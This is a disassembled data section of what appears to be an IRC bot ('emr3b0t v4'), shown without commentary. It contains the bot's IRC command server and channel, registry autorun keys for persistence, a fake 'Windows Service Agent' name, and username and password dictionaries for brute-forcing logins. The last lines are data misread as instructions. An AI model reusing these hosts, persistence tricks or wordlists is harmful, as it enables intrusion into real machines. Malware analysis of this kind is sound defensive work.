aNorwegianBokma	db 'norwegian-bokmal',0
		align 4
aNorwegian	db 'norwegian',0
		align 4
aItalianSwiss	db 'italian-swiss',0
		align 4
aIrishEnglish	db 'irish-english',0
		align 4
aGermanSwiss	db 'german-swiss',0
		align 4
aGermanLuxembou	db 'german-luxembourg',0
		align 4
aGermanLichtens	db 'german-lichtenstein',0
aGermanAustrian	db 'german-austrian',0
aFrenchSwiss	db 'french-swiss',0
		align 10h
aFrenchLuxembou	db 'french-luxembourg',0
		align 4
aFrenchCanadian	db 'french-canadian',0
aFrenchBelgian	db 'french-belgian',0
		align 4
aEnglishUsa	db 'english-usa',0
aEnglishUs	db 'english-us',0
		align 4
aEnglishUk	db 'english-uk',0
		align 4
aEnglishTrinida	db 'english-trinidad y tobago',0
		align 4
aEnglishSouthAf	db 'english-south africa',0
		align 4
aEnglishNz	db 'english-nz',0
		align 4
aEnglishJamaica	db 'english-jamaica',0
aEnglishIre	db 'english-ire',0
aEnglishCaribbe	db 'english-caribbean',0
		align 4
aEnglishCan	db 'english-can',0
aEnglishBelize	db 'english-belize',0
		align 4
aEnglishAus	db 'english-aus',0
aEnglishAmerica	db 'english-american',0
		align 4
aDutchBelgian	db 'dutch-belgian',0
		align 4
aChineseTraditi	db 'chinese-traditional',0
aChineseSingapo	db 'chinese-singapore',0
		align 4
aChineseSimplif	db 'chinese-simplified',0
		align 10h
aChineseHongkon	db 'chinese-hongkong',0
		align 4
aChinese	db 'chinese',0
aChi		db 'chi',0
aChh		db 'chh',0
aCanadian	db 'canadian',0
		align 10h
aBelgian	db 'belgian',0
aAustralian	db 'australian',0
		align 4
aAmericanEnglis	db 'american-english',0
		align 4
aAmericanEngl_0	db 'american english',0
		align 4
aAmerican	db 'american',0         ; DATA XREF: .packed:off_454BE0o
		align 4
off_43DEC8	dd offset byte_50434F	; DATA XREF: sub_435800:loc_435853o
off_43DECC	dd offset byte_504341	; DATA XREF: sub_435800+16o
dword_43DED0	dd 69736863h, 632E657Ah, 0 ; DATA XREF:	sub_435EC0+38o
dword_43DEDC	dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_435EC0+2Co
dword_43DEE8	dd 4E512331h, 4E41h	; DATA XREF: sub_436F70:loc_43712Fo
dword_43DEF0	dd 4E492331h, 46h	; DATA XREF: sub_436F70+19Bo
dword_43DEF8	dd 4E492331h, 44h	; DATA XREF: sub_436F70+168o
dword_43DF00	dd 4E532331h, 4E41h, 6D6D3A48h,	73733Ah, 64646464h, 4D4D202Ch
					; DATA XREF: sub_436F70+125o
		dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
		dd 4D41h, 65636544h, 7265626Dh,	0
aNovember	db 'November',0
		align 4
aOctober	db 'October',0
aSeptember	db 'September',0
		align 10h
aAugust		db 'August',0
		align 4
aJuly		db 'July',0
		align 10h
aJune		db 'June',0
		align 4
aApril		db 'April',0
		align 10h
aMarch		db 'March',0
		align 4
aFebruary	db 'February',0
		align 4
aJanuary	db 'January',0
aDec		db 'Dec',0
aNov		db 'Nov',0
aOct		db 'Oct',0
aSep		db 'Sep',0
aAug		db 'Aug',0
aJul		db 'Jul',0
aJun		db 'Jun',0
aMay		db 'May',0              ; DATA XREF: .packed:00454E38o
aApr		db 'Apr',0              ; DATA XREF: .packed:00454E34o
aMar		db 'Mar',0              ; DATA XREF: .packed:00454E30o
aFeb		db 'Feb',0              ; DATA XREF: .packed:00454E2Co
aJan		db 'Jan',0              ; DATA XREF: .packed:00454E28o
aSaturday	db 'Saturday',0         ; DATA XREF: .packed:00454E24o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .packed:00454E20o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: .packed:00454E1Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .packed:00454E18o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .packed:00454E14o
aMonday		db 'Monday',0           ; DATA XREF: .packed:00454E10o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .packed:00454E0Co
		align 10h
aSat		db 'Sat',0              ; DATA XREF: .packed:00454E08o
aFri		db 'Fri',0              ; DATA XREF: .packed:00454E04o
aThu		db 'Thu',0              ; DATA XREF: .packed:00454E00o
aWed		db 'Wed',0              ; DATA XREF: .packed:00454DFCo
aTue		db 'Tue',0              ; DATA XREF: .packed:00454DF8o
aMon		db 'Mon',0              ; DATA XREF: .packed:00454DF4o
aSun		db 'Sun',0              ; DATA XREF: .packed:off_454DF0o
aAP		db 'a/p',0              ; DATA XREF: sub_4384E0:loc_4386D3o
aAmPm		db 'am/pm',0            ; DATA XREF: sub_4384E0:loc_4386B3o
		align 4
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_438A00+9Co
					; sub_438A00+F1o
		align 8
dword_43E048	dd 0FFFFFFFFh, 438DC7h,	438DCDh, 0FFFFFFFFh, 438E46h, 438E4Ch
					; DATA XREF: sub_438CA0+5o
dword_43E060	dd 6D6F7477h, 766E6562h, 632Eh,	0 ; DATA XREF: sub_4396D0+44o
dword_43E070	dd 0FFFFFFFFh, 43987Dh,	439883h, 0 ; DATA XREF:	sub_439780+5o
dword_43E080	dd 0FFFFFFFFh, 439A1Fh,	439A25h	; DATA XREF: sub_439920+5o
dword_43E08C	dd 6D635F61h, 632E70h	; DATA XREF: sub_439AD0+17Fo
aCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: sub_439AD0:loc_439C43o
		align 8
dword_43E0D8	dd 0FFFFFFFFh, 439DAFh,	439DB5h, 0FFFFFFFFh, 439E4Dh, 439E53h
					; DATA XREF: sub_439AD0+5o
dword_43E0F0	dd 65746573h, 632E766Eh, 0 ; DATA XREF:	sub_439F20+B2o
					; sub_439F20+F2o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_43A460+1Fo
		dd offset dword_43E208
off_43E110	dd offset sub_43A5E0	; DATA XREF: sub_43A4C0+44o
					; sub_43A580+1Fo ...
		dd offset sub_43A530
		dd offset sub_43A550
		dd offset dword_43E258
off_43E120	dd offset sub_43A700	; DATA XREF: sub_43A610+16o
					; sub_43A6B0+Ao ...
		dd offset sub_43A530
		dd offset sub_43A6D0
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_43A760+1Fo
		dd offset dword_43E2A8
off_43E148	dd offset sub_43A840	; DATA XREF: sub_43A7C0+16o
					; sub_43A7F0+Ao ...
		dd offset sub_43A530
		dd offset sub_43A810
		dd 0FFFFFFFFh, 43E2D8h
off_43E15C	dd offset sub_43AF20	; DATA XREF: .packed:0043AEFAo
					; sub_43AF50+Co ...
		dd offset sub_43B0C0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_43B0C0:loc_43B0D8o
		align 4
		dd offset dword_43E320
off_43E17C	dd offset sub_43B130	; DATA XREF: sub_43B0F0+Ao
					; .packed:0043B21Ao ...
dword_43E180	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_43B240+Do
		dd 3, 19930520h, 2 dup(0)
dword_43E1A0	dd 0FFFFFFFFh, 43B55Fh,	43B565h, 0FFFFFFFFh, 43B604h, 43B60Ah
					; DATA XREF: sub_43B420+5o
		dd 4551A0h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_43E1D0	dd offset off_4551B8	; DATA XREF: .packed:0043E1E8o
					; .packed:0043E23Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E1D0
		dd offset dword_43E1A0+18h
dword_43E1F0	dd 4 dup(0)		; DATA XREF: .packed:0043E218o
		dd 2, 43E1E8h
dword_43E208	dd 3 dup(0)		; DATA XREF: .packed:0043E10Co
		dd offset off_4551B8
		dd offset dword_43E1F0+8
		align 10h
off_43E220	dd offset off_4551D8	; DATA XREF: .packed:0043E238o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E220
		dd offset off_43E1D0
		dd offset dword_43E1A0+18h
		dd 0
		db    0			; DATA XREF: .packed:0043E268o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 43E238h
dword_43E258	dd 3 dup(0)		; DATA XREF: .packed:0043E11Co
		dd offset off_4551D8
		dd offset unk_43E248
		align 10h
off_43E270	dd offset off_4551F8	; DATA XREF: .packed:0043E288o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E270
		dd offset off_43E1D0
		dd offset dword_43E1A0+18h
		dd 0
		db    0			; DATA XREF: .packed:0043E2B8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 43E288h
dword_43E2A8	dd 3 dup(0)		; DATA XREF: .packed:0043E144o
		dd offset off_4551F8
		dd offset unk_43E298
		dd offset dword_43E1A0+18h
dword_43E2C0	dd 4 dup(0)		; DATA XREF: .packed:0043E2E8o
		dd 1, 43E2BCh, 3 dup(0)
		dd offset off_4551A0
		dd offset dword_43E2C0+8
		align 10h
off_43E2F0	dd offset off_455218	; DATA XREF: .packed:0043E308o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E2F0
dword_43E30C	dd 3 dup(0)		; DATA XREF: .packed:0043E330o
		dd 1, 43E308h
dword_43E320	dd 3 dup(0)		; DATA XREF: .packed:0043E178o
		dd offset off_455218
		dd offset dword_43E30C+4
		align 8
		dd 0FFFFFFFFh, 43B818h,	0
		dd offset loc_43B810
dword_43E348	dd 19930520h, 2, 43E338h, 4 dup(0) ; DATA XREF:	.packed:loc_43B82Fo
		dd 0FFFFFFFFh, 43B839h,	0
		dd offset loc_43B841
dword_43E374	dd 19930520h, 2, 43E364h, 4 dup(0) ; DATA XREF:	.packed:loc_43B849o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40E096
		dd 2 dup(0)
		dd 2 dup(1), 43E3A0h
dword_43E3C4	dd 19930520h, 2, 43E390h, 1, 43E3B0h, 3	dup(0)
					; DATA XREF: .packed:loc_43B854o
		dd offset off_4551A0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	43AFC0h, 2 dup(0)
		dd offset off_4551B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43A4C0h, 2 dup(0)
		dd offset off_4551D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43A730h, 0
dword_43E440	dd 3, 43E420h, 43E400h,	43E3E0h	; DATA XREF: .packed:0043E45Co
dword_43E450	dd 0			; DATA XREF: sub_43A460+3Fo
					; sub_43A6D0+15o
		dd offset sub_43A6B0
		dd 0
		dd offset dword_43E440
dword_43E460	dd 19930520h, 1, 43E480h, 5 dup(0) ; DATA XREF:	SEH_43A460o
		dd 0FFFFFFFFh, 43B860h
dword_43E488	dd 19930520h, 1, 43E4A8h, 5 dup(0) ; DATA XREF:	SEH_43A4C0o
dword_43E4A8	dd 0FFFFFFFFh, 43B880h,	2, 43E400h, 43E3E0h, 0
					; DATA XREF: .packed:0043E4CCo
dword_43E4C0	dd 0			; DATA XREF: sub_43A550+15o
		dd offset sub_43A580
		dd 0
		dd offset dword_43E4A8+8
dword_43E4D0	dd 19930520h, 1, 43E4F0h, 5 dup(0) ; DATA XREF:	SEH_43A580o
		dd 0FFFFFFFFh, 43B8A0h
dword_43E4F8	dd 19930520h, 1, 43E518h, 5 dup(0) ; DATA XREF:	SEH_43A640o
		dd 0FFFFFFFFh, 43B8C0h,	0
		dd offset off_4551F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43A870h, 0
dword_43E540	dd 3, 43E520h, 43E400h,	43E3E0h	; DATA XREF: .packed:0043E55Co
dword_43E550	dd 0			; DATA XREF: sub_43A760+3Fo
					; sub_43A810+15o
		dd offset sub_43A7F0
		dd 0
		dd offset dword_43E540
dword_43E560	dd 19930520h, 1, 43E580h, 5 dup(0) ; DATA XREF:	SEH_43A760o
		dd 0FFFFFFFFh, 43B8E0h,	29Eh dup(0)
dword_43F000	dd 0			; DATA XREF: sub_41E860+29o
		dd offset loc_4013E8
		dd offset loc_40DBC6
		dd offset sub_40E19A
		dd offset sub_40F033
		dd offset sub_43A8A0
dword_43F018	dd 0			; DATA XREF: sub_41E860+24o
dword_43F01C	dd 0			; DATA XREF: sub_41E860+17o
		dd offset sub_420D30
		dd offset sub_4222D0
		dd offset sub_429890
		dd offset sub_432F40
dword_43F030	dd 0			; DATA XREF: sub_41E860:loc_41E872o
dword_43F034	dd 0			; DATA XREF: sub_41E920+76o
		dd offset sub_422400
dword_43F03C	dd 0			; DATA XREF: sub_41E920:loc_41E991o
dword_43F040	dd 0			; DATA XREF: sub_41E920+88o
		dd offset sub_432F60
dword_43F048	dd 2 dup(0)		; DATA XREF: sub_41E920:loc_41E9A3o
dword_43F050	dd 80000002h		; DATA XREF: sub_401000+24r
off_43F054	dd offset byte_43F1F8	; DATA XREF: sub_401000+1Er
		dd 80000002h, 43F228h, 80000001h, 43F1F8h
dword_43F068	dd 6272h, 0		; DATA XREF: sub_4010AA+Bo
dword_43F070	dd 0C8Bh		; DATA XREF: sub_401404+48Fr
					; sub_401404+517r
dword_43F074	dd 0C8Bh		; DATA XREF: sub_401404+55Dr
dword_43F078	dd 7E4h			; DATA XREF: sub_401C87:loc_4047CEr
dword_43F07C	dd 45h			; DATA XREF: sub_401C87+2030r
					; sub_40C049+3Br
dword_43F080	dd 7D1h			; DATA XREF: sub_401C87:loc_403DA1r
					; sub_40C049:loc_40C431r
dword_43F084	dd 201h			; DATA XREF: sub_401C87:loc_403F16r
word_43F088	dw 7C7h			; DATA XREF: sub_401C87:loc_4048F0r
		align 4
dword_43F08C	dd 1			; DATA XREF: sub_401C87+62Ar
dword_43F090	dd 1			; DATA XREF: sub_401404+13Ar
dword_43F094	dd 1			; DATA XREF: sub_401404:loc_401733r
					; sub_418EAE+Cr
byte_43F098	db 2Eh			; DATA XREF: sub_401C87+A51r
					; sub_401C87+B0Br ...
		align 4
dword_43F09C	dd 0Bh			; DATA XREF: sub_40AFAB+39r
					; sub_40AFAB+5Fr ...
dword_43F0A0	dd 4			; DATA XREF: sub_4019A5+78r
					; sub_401C87+277r ...
dword_43F0A4	dd 1			; DATA XREF: sub_4019A5+72r
					; sub_401C87+271r
aDark		db 'Dark',0             ; DATA XREF: sub_401404+5Do
					; sub_401C87:loc_404628o ...
		align 10h
aEmr3b0tV4	db 'emr3b0t v4',0       ; DATA XREF: sub_401C87:loc_404AF5o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401C87+7E34o
					; sub_401C87+7EF7o
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: sub_401404+47Bo
					; sub_401404+508o
aFaak		db '#FAAK#',0           ; DATA XREF: sub_401404+49Bo
					; sub_401404+51Eo ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: sub_401404+4B2o
					; sub_401404+530o
		align 4
byte_43F0E8	db 73h			; DATA XREF: sub_401404:loc_401944r
					; sub_401404+54Eo
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: sub_401404+564o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: sub_401404+576o
		align 4
byte_43F10C	db 64h			; DATA XREF: sub_401404+140o
					; sub_401404+164w ...
		db 7Ah,	70h, 2Eh
		dd 657865h
dword_43F114	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: sub_4124E6+3Do
aWindowsService	db 'Windows Service Agent',0 ; DATA XREF: sub_401000+Bo
asc_43F136	db '-',0                ; DATA XREF: .packed:0040B029o
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401C87+7F70o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401C87+1CF2o
					; sub_401C87+3053o ...
		align 10h
aF_0		db '#f',0               ; DATA XREF: sub_401C87+4477o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401C87+40A3o
					; sub_401C87+41F1o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: .packed:off_43F164o
off_43F164	dd offset a@admin_com	; DATA XREF: sub_401C87+7E97r
					; "*@admin.com"
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_43F1E8o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0043F1ECo
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0043F1F0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0043F1F4o
		align 4
off_43F1E8	dd offset aMircV6_16Khale ; DATA XREF: sub_401C87+874r
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
byte_43F1F8	db 53h			; DATA XREF: .packed:off_43F054o
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41AB05+28o
					; sub_41AE2B+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41AB05+D4o
					; sub_41AE2B+D4o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .packed:0043F358o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .packed:0043F35Co
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: .packed:0043F360o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .packed:0043F364o
aAdmins		db 'admins',0           ; DATA XREF: .packed:0043F368o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .packed:0043F36Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: .packed:0043F370o
		align 4
aRoot		db 'root',0             ; DATA XREF: .packed:0043F374o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .packed:0043F378o
		align 4
aOwner		db 'owner',0            ; DATA XREF: .packed:0043F37Co
		align 10h
aStudent	db 'student',0          ; DATA XREF: .packed:0043F380o
aTeacher	db 'teacher',0          ; DATA XREF: .packed:0043F384o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .packed:0043F388o
		align 4
aGuest_0	db 'guest',0            ; DATA XREF: .packed:0043F38Co
		align 4
aDefault	db 'default',0          ; DATA XREF: .packed:0043F390o
aDatabase	db 'database',0         ; DATA XREF: .packed:0043F394o
		align 4
aDba		db 'dba',0              ; DATA XREF: .packed:0043F398o
aOracle		db 'oracle',0           ; DATA XREF: .packed:0043F39Co
		align 4
aDb2		db 'db2',0              ; DATA XREF: .packed:0043F3A0o
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
aAdministrato_1	db 'administrator',0    ; DATA XREF: .packed:0043F81Co
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: .packed:0043F820o
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: .packed:0043F824o
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: .packed:0043F828o
aAdmins_0	db 'admins',0           ; DATA XREF: .packed:0043F82Co
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .packed:0043F830o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .packed:0043F834o
aPassword1	db 'password1',0        ; DATA XREF: .packed:0043F838o
		align 4
aPassword	db 'password',0         ; DATA XREF: .packed:0043F83Co
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .packed:0043F840o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .packed:0043F844o
		align 4
aPass_1		db 'pass',0             ; DATA XREF: .packed:0043F848o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: .packed:0043F84Co
a007		db '007',0              ; DATA XREF: .packed:0043F850o
a1:					; DATA XREF: .packed:0043F854o
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .packed:0043F858o
		align 4
a123		db '123',0              ; DATA XREF: .packed:0043F85Co
a1234		db '1234',0             ; DATA XREF: .packed:0043F860o
		align 4
a12345		db '12345',0            ; DATA XREF: .packed:0043F864o
		align 10h
a123456		db '123456',0           ; DATA XREF: .packed:0043F868o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .packed:0043F86Co
a12345678	db '12345678',0         ; DATA XREF: .packed:0043F870o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .packed:0043F874o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .packed:0043F878o
		align 4
a2000		db '2000',0             ; DATA XREF: .packed:0043F87Co
		align 4
a2001		db '2001',0             ; DATA XREF: .packed:0043F880o
		align 4
a2002		db '2002',0             ; DATA XREF: .packed:0043F884o
		align 4
a2003_0		db '2003',0             ; DATA XREF: .packed:0043F888o
		align 4
a2004		db '2004',0             ; DATA XREF: .packed:0043F88Co
		align 4
aTest		db 'test',0             ; DATA XREF: .packed:0043F890o
		align 4
aGuest_1	db 'guest',0            ; DATA XREF: .packed:0043F894o
		align 4
aNone		db 'none',0             ; DATA XREF: .packed:0043F898o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .packed:0043F89Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: .packed:0043F8A0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .packed:0043F8A4o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .packed:0043F8A8o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: .packed:0043F8ACo
aSystem		db 'system',0           ; DATA XREF: .packed:0043F8B0o
		align 4
aServer_6	db 'server',0           ; DATA XREF: .packed:0043F8B4o
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: .packed:0043F8B8o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .packed:0043F8BCo
		align 10h
aQwerty		db 'qwerty',0
		align 4
aMail		db 'mail',0
		align 10h
aOutlook	db 'outlook',0
aWeb		db 'web',0
aWww		db 'www',0
aInternet	db 'internet',0
		align 4
aAccounts	db 'accounts',0
		align 4
aAccounting	db 'accounting',0
		align 4
aHome		db 'home',0
		align 4
aHomeuser	db 'homeuser',0
		align 4
aUser_4		db 'user',0
		align 10h
aOem		db 'oem',0
aOemuser	db 'oemuser',0
aOeminstall	db 'oeminstall',0
		align 4
aWindows	db 'windows',0
aWin98		db 'win98',0
		align 4
aWin2k		db 'win2k',0
		align 10h
aWinxp		db 'winxp',0
		align 4
aWinnt		db 'winnt',0
		align 10h
aWin2000	db 'win2000',0
aQaz		db 'qaz',0
aAsd		db 'asd',0
aZxc		db 'zxc',0
aQwe		db 'qwe',0
aBob		db 'bob',0
aJen		db 'jen',0
aJoe		db 'joe',0
aFred		db 'fred',0
		align 4
aBill		db 'bill',0
		align 4
aMike		db 'mike',0
		align 4
aJohn		db 'john',0
		align 4
aPeter		db 'peter',0
		align 4
aLuke		db 'luke',0
		align 4
aSam		db 'sam',0
aSue		db 'sue',0
aSusan		db 'susan',0
		align 4
aPeter_0	db 'peter',0
		align 4
aBrian		db 'brian',0
		align 4
aLee		db 'lee',0
aNeil		db 'neil',0
		align 10h
aIan		db 'ian',0
aChris		db 'chris',0
		align 4
aEric		db 'eric',0
		align 4
aGeorge		db 'george',0
		align 4
aKate		db 'kate',0
		align 4
aBob_0		db 'bob',0
aKatie		db 'katie',0
		align 10h
aMary		db 'mary',0
		align 4
aLogin		db 'login',0
		align 10h
aLoginpass	db 'loginpass',0
		align 4
aTechnical	db 'technical',0
		align 4
aBackup		db 'backup',0
		align 10h
aExchange	db 'exchange',0
		align 4
aFuck		db 'fuck',0
		align 4
aBitch		db 'bitch',0
		align 4
aSlut		db 'slut',0
		align 4
aSex		db 'sex',0
aGod		db 'god',0
aHell		db 'hell',0
		align 4
aHello		db 'hello',0
		align 4
aDomain		db 'domain',0
		align 4
aDomainpass	db 'domainpass',0
		align 10h
aDomainpassword	db 'domainpassword',0
		align 10h
aDatabase_0	db 'database',0
		align 4
aAccess		db 'access',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .packed:0043F9C5o
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aData		db 'data',0
		align 10h
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .packed:0043F9D1o
		align 4
aDb1		db 'db1',0
aDb2_0		db 'db2',0              ; DATA XREF: .packed:0043F9D9o
aDb1234		db 'db1234',0
		align 4
aSa_0		db 'sa',0               ; DATA XREF: .packed:0043F9E1o
		align 4
aSql		db 'sql',0
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .packed:loc_43F9E9o
		align 10h
aOrainstall	db 'orainstall',0
		align 4
aOracle_0	db 'oracle',0
		align 4
aIbm		db 'ibm',0
aCisco		db 'cisco',0
		align 10h
aDell		db 'dell',0
		align 4
aCompaq		db 'compaq',0
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .packed:0043FA05o
aHp		db 'hp',0
		align 4
aNokia		db 'nokia',0
		align 4
aXp		db 'xp',0
		align 4
aControl	db 'control',0
aOffice		db 'office',0
		align 4
aBlank		db 'blank',0            ; DATA XREF: .packed:0043FA1Do
		align 10h
aWinpass	db 'winpass',0
aMain		db 'main',0
		align 10h
aLan		db 'lan',0              ; DATA XREF: .packed:0043FA29o
aInternet_0	db 'internet',0         ; DATA XREF: .packed:0043FA30o
		align 10h
aIntranet	db 'intranet',0         ; DATA XREF: .packed:0043FA34o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: .packed:0043FA38o
aTeacher_0	db 'teacher',0          ; DATA XREF: .packed:0043FA3Co
aStaff_0	db 'staff',0            ; DATA XREF: .packed:0043FA40o
		align 8
		dd offset byte_4E2F2D
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_1	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003_0	; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_1	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault_0	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_6	; "server"
		dd offset aRoot_0	; "root"
		dd offset aNull_1	; "null"
; ---------------------------------------------------------------------------
		adc	ch, dh
		inc	ebx
		add	[eax], bl
		cmc
		inc	ebx
		add	[eax], ah
		cmc
		inc	ebx
		add	[eax], ch
		cmc
		inc	ebx
		add	ds:0F5300043h[esi*8], ch
		inc	ebx
		add	ds:0F5480043h[esi*8], bh
		inc	ebx
		add	[ebp+esi*8+43h], dl
		add	[ebp+esi*8+43h], bl
		add	[eax-0Bh], ch
		inc	ebx
		add	[eax-0Bh], dh
		inc	ebx
		add	[ebp+esi*8+43h], dh
		add	[ebp+esi*8+43h], bh
		add	[eax-6FFFBC0Bh], cl
		cmc
		inc	ebx
		add	[eax-5FFFBC0Bh], bl
		cmc
		inc	ebx
		add	[eax-4FFFBC0Bh], ch
		cmc
		inc	ebx
		add	[eax-43FFBC0Bh], bh
		cmc
		inc	ebx
		add	al, al
		cmc
		inc	ebx
		add	ah, al
		cmc
		inc	ebx
		add	al, cl
		cmc
		inc	ebx
		add	ah, cl
		cmc
		inc	ebx
		add	al, dl
		cmc
		inc	ebx
		add	ah, dl
		cmc
		inc	ebx
		add	ah, bl
		cmc
		inc	ebx
		add	ah, ah
		cmc
		inc	ebx
		add	ah, ch
		cmc
		inc	ebx
		add	ah, dh
		cmc
		inc	ebx
		add	ah, bh
		cmc
		inc	ebx
		add	[esi+esi*8], al
		inc	ebx
		add	[eax], cl
		test	byte ptr [ebx+0], 0Ch
		test	byte ptr [ebx+0], 14h
		test	byte ptr [ebx+0], 1Ch
		test	byte ptr [ebx+0], 24h
		test	byte ptr [ebx+0], 28h
		test	byte ptr [ebx+0], 30h
		test	byte ptr [ebx+0], 34h
		test	byte ptr [ebx+0], 3Ch
